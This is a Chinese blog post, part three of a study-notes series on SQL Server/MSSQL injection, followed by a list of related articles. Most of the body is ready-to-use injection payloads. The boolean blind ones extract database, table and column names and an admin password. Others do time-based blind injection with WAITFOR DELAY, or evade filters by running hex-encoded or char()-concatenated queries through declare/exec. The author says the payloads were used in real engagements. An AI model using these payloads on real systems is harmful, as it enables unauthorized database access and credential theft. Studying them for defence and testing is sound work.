【学习笔记】Sqlserver/Mssql注入总结(三)

本文涉及的产品
云数据库 RDS SQL Server,基础系列 2核4GB
简介: 这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。

这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。




布尔盲注(参考union联合查询注入,逐步盲注即可)


都可以和union一样加入and条件排除查询下一个内容


查询数据库名:



id=2' and ascii(substring((select DB_NAME(5)),1,1)) > 109--//查询第五个数据库第一个字符的ascii码是否大于109



查询表名:



id=2 and ascii(substring((select top 1 name from mozhe_db_v2..sysobjects where xtype='u'),1,1)) >100//查询第一个表名的第一个字符的ascii码是否大于100


或者使用information_schema:


id=2 and ascii(substring((SELECT TOP 1 table_name FROM information_schema.tables),1,1)) >0



查询列名:



id=2 and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where name ='manage')),1,1)) >100//查询第manage表的第一个列名第一个字符的ascii码是否大于100


或者使用下面这个:


id=2 and ascii(substring((SELECT TOP 1 col_name(object_id('manage'),1) from sysobjects),1,1)) >100


或者使用information_schema:


id=2 and ascii(substring((SELECT top 1 column_name from information_schema.columns where table_name='manage'),1,1)) >0


查数据:


id=2 and ascii(substring((select top 1 username from manage),1,1)) >0


指定条件查数据:


id=2 and ascii(substring((select top 1 password from manage where username='admin_mz'),1,1)) >0




时间盲注(参考布尔盲注)


只需要参照布尔盲注的payload,给其套上一个if()函数,并且后面加上WAITFOR DELAY '0:0:5'--  延迟5秒执行语句即可



例如判断数据库名:



id=2; if(ascii(substring((select db_name()),1,1)) >1) WAITFOR DELAY '0:0:5'--  //如果判断正确,延迟五秒执行sql语句




简单绕过一些单引号、路径符号等等被过滤:


利用declare定义变量:


id = 1 ; declare @a nvarchar ( 2000 ) set @a = 'select convert(int,@@version)' exec ( @a ) --


配合hex编码:


id = 1 ; declare @s varchar ( 2000 ) set @s = 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec ( @s )--    //0x命令hex编码后的


配合ascii编码:


id = 1 ; declare @s varchar ( 2000 ) set @s = char ( 115 ) + char ( 101 ) + char ( 108 ) + char ( 101 ) + char ( 99 ) + char ( 116 ) + char ( 32 ) + char ( 99 ) + char ( 111 ) + char ( 110 ) + char ( 118 ) + char ( 101 ) + char ( 114 ) + char ( 116 ) + char ( 40 ) + char ( 105 ) + char ( 110 ) + char ( 116 ) + char ( 44 ) + char ( 64 ) + char ( 64 ) + char ( 118 ) + char ( 101 ) + char ( 114 ) + char ( 115 ) + char ( 105 ) + char ( 111 ) + char ( 110 ) + char ( 41 ) exec ( @s )--    //ascii编码的字符,利用+号拼接

以上方法都经过本人实战使用过的,具体情况看师傅们怎么使用吧!


目录
相关文章
|
SQL 存储 关系型数据库
MSSQL之一 数据库系统简介 与SQL Server 2008概述
MSSQL之一 数据库系统简介 与SQL Server 2008概述
189 0
|
SQL
MSSQL系列之十二Sql Server 2005安装
MSSQL系列之十二Sql Server 2005安装
116 0
|
SQL 存储 数据可视化
MSSQL之二 Sql Server中管理库与表
MSSQL之二 Sql Server中管理库与表
146 0
|
SQL 安全 Java
6. 成功解决:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed.
在使用 Kettle(Spoon) 工具创建 SQL Server 数据库连接时,提示:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed. com.microsoft.sqlserver.jdbc.SQLServerDriver
2103 1
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(二)
这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
328 0
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(一)
这是Sqlserver/Mssql注入总结的第一篇,将围绕union联合注入进行讲述,内容相对来说,比较中规中矩,有需要的可以考虑收藏保存,当做备忘录使用。
469 0
|
SQL
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
137 0
|
SQL Go
SQLServer 学习笔记之超详细基础SQL语句 Part 11
SQLServer 学习笔记之超详细基础SQL语句 Part 11
206 0
|
5月前
|
SQL 数据库 数据安全/隐私保护
数据库数据恢复——sql server数据库被加密的数据恢复案例
SQL server数据库数据故障: SQL server数据库被加密,无法使用。 数据库MDF、LDF、log日志文件名字被篡改。 数据库备份被加密,文件名字被篡改。
|
2月前
|
SQL XML Java
配置Spring框架以连接SQL Server数据库
最后,需要集成Spring配置到应用中,这通常在 `main`方法或者Spring Boot的应用配置类中通过加载XML配置或使用注解来实现。
216 0